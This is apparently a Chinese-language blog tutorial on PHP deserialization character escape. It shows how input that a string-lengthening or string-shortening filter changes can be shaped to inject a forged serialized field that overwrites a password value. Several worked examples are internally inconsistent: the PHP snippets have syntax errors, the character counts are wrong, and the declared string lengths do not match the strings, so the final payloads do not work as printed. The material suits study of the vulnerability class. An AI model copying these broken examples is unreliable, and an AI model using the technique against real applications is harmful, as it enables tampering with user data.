1、引子
- 在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如
<?php
$str = "a:2:{i:0;s:4:"flag";i:1;s:6:'mikasa';}"
var_dump(unserialize($str));
?>
#输出结果
/*
array(2){
[0]=> string(4) "flag"
[1]=> string(6) "mikasa"
}
*/
- 一般情况下,按照我们的正常理解,上面例子中变量
$str
是一个标准的序列化后的字符串,按理来说改变其中任何一个字符都会导致反序列化失败。但事实并非如此。如果在$str
结尾的花括号后加一些字符
<?php
$str = "a:2:{i:0;s:4:"flag";i:1;s:6:'mikasa';}abc"
var_dump(unserialize($str));
?>
#输出结果依然和上面的相同
- 这说明了反序列化的过程是有一定识别范围的,在这个范围之外的字符(如花括号外的abc)都会被忽略,不影响反序列化的正常进行、
2、php反序列化的几大特性
-
PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外)并且是根据长度判断内容的- 注意点,很容易以为序列化后的字符串是
;}
结尾,实际上字符串序列化是以;}
结尾的,但对象序列化是直接}
结尾 - php反序列化字符逃逸,就是通过这个结尾符实现的
- 注意点,很容易以为序列化后的字符串是
-
当长度不对应的时候会出现报错
3、反序列化字符逃逸
反序列化之所以存在字符串逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少
(1)字符数增多的利用示例
<?php
function filter($str){
return str_replace('x','yy',$str);
}
$username = "mikasa";
$password = "biubiu";
$user = array($username,$password);
$str1 = filter(serialize($user));
//$str2 = filter($_GET['user']);
var_dump(unserialize($str1));
//var_dump(unserialize($str2));
?>
问:如果我能控制进行反序列化的字符串,该如何使var_dump打印出来的password对应的值是123456
,而不是biubiu
?
-
正常情况下反序列化字符串**$str1**的值为
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}
-
那么把username的值变为
mikasaxxx
,当完成序列化,filter函数处理后的结果为a:2:{i:0;s:9:"mikasayyyyyy";i:1;s:6:"biubiu";}
- 因为比之前多了三个字符,反序列化时肯定是会失败的!
- 所以,可以利用多出来的字符串做一些坏事?
-
想要password是
123456
,反序列化化前的字符串要是a:2:{i:0;s:6:"mikasa";i:1;s:6:"123456";}
-
如果说我们输入的是
-
a:2:{i:0;s:26:"mikasa";i:1;s:6:"123456";}";i:1;s:6:"biubiu";}
-
多出的字段是
";i:1;s:6:"123456";}
数一下是20个字符, -
一个x会导致多出一个字符,所以加上20个x,
";i:1;s:6:"biubiu";}
部分的内容会被当作无效部分被忽略???
-
-
所以最终输入是
a:2:{i:0;s:46:"mikasaxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
- filter之后,会变为
a:2:{i:0;s:46:"mikasayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
(2)字符串减少时
<?php
function filter($str){
return str_replace("xx","y",$str);
}
$username = "mikasa";
$password = "biubiu";
$user = array($username,$password);
$str1 = filter(serialize($user));
//$str2 = filter(serialize($_GET['user']));
var_dump(unserialize($str1));
//var_dump(unserialize($str2));
?>
问:如果我能控制进行反序列化的字符串,该如何使var_dump打印出来的password对应的值是123456
,而不是biubiu
?
-
正常情况下反序列化字符串**$str1**的值为
a:2:{i:0;s:6:"mikasa";i:1;s:6:"biubiu";}
-
那么把username的值变为
mikasaxxxxxx
,当完成序列化,filter函数处理后的结果为a:2:{i:0;s:12:"mikasayyy";i:1;s:6:"biubiu";}
- 因为比之前少了三个字符,反序列化时肯定是会失败的,
mikasayyy
的长度为9,还会继续往后吞3个字符!但这样会造成语法错误! - 所以,是否可以利用变化的字符长度做一些坏事?(吞掉原有的password值,再添加新值!)
- 因为比之前少了三个字符,反序列化时肯定是会失败的,
-
构建的注入表达式是**(吞)**
a:2:{i:0;s:**?**:"mikasa";i:1;s:5:"biubiu";}**";i:1;s:6:"123456";}**
- 所以要吞掉的内容是
";i:1;s:5:"biubiu";}
一共是20个字符!所以需要添加40个x
-
所以最终的输入时
-
a:2:{i:0;s:46:"mikasaxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:5:"biubiu";}**";i:1;s:6:"123456";}**
-
filter之后,会变为
-
a:2:{i:0;s:**46**:"mikasayyyyyyyyyyyyyyyyyyyy";i:1;s:5:"biubiu";}**";i:1;s:6:"123456";}**
-
4、总结
- 当字符增多:在输入的时候再加上精心构造的字符。经过过滤函数,字符变多之后,就把我们构造的给挤出来。从而实现字符逃逸
- 当字符减少:在输入的时候再加上精心构造的字符。经过过滤函数,字符减少后,会把原有的吞掉,使构造的字符实现代替
参考大佬的链接
https://blog.youkuaiyun.com/Zero_Adam/article/details/113534102